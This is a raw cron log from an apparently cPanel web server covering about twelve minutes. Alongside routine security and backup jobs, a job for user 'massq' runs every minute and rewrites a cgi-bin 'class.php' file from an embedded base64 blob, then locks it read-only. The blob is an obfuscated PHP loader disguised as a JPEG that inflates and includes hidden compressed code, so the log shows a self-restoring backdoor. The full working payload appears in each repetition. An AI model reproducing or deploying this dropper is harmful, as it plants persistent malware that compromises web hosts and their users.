Sep  2 04:45:01 server CROND[11019]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:45:01 server CROND[11020]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:45:01 server CROND[11023]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 04:45:01 server CROND[11024]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 04:45:01 server CROND[11026]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 04:45:01 server CROND[11027]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 04:45:01 server CROND[11025]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 04:46:01 server CROND[11913]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 04:46:01 server CROND[11914]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:46:01 server CROND[11915]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:47:01 server CROND[12291]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 04:47:01 server CROND[12292]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:47:01 server CROND[12293]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:48:01 server CROND[12692]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 04:48:01 server CROND[12693]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:48:01 server CROND[12694]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:49:01 server CROND[13066]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 04:49:01 server CROND[13067]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:49:01 server CROND[13068]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:50:01 server CROND[13544]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 04:50:01 server CROND[13545]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 04:50:01 server CROND[13550]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 04:50:01 server CROND[13549]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 04:50:01 server CROND[13553]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 04:50:01 server CROND[13555]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 04:50:01 server CROND[13557]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:50:01 server CROND[13551]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:50:01 server CROND[13552]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 04:51:01 server CROND[14386]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:51:01 server CROND[14387]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:51:01 server CROND[14388]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 04:52:01 server CROND[14766]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:52:01 server CROND[14767]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 04:52:01 server CROND[14768]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:53:01 server CROND[15170]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:53:01 server CROND[15171]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:53:01 server CROND[15172]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 04:54:01 server CROND[15539]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:54:01 server CROND[15540]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 04:54:01 server CROND[15542]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:55:01 server CROND[16015]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:55:01 server CROND[16017]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 04:55:01 server CROND[16016]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 04:55:01 server CROND[16019]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 04:55:01 server CROND[16022]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 04:55:01 server CROND[16021]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:55:01 server CROND[16023]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 04:56:01 server CROND[16830]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:56:01 server CROND[16831]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 04:56:01 server CROND[16832]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
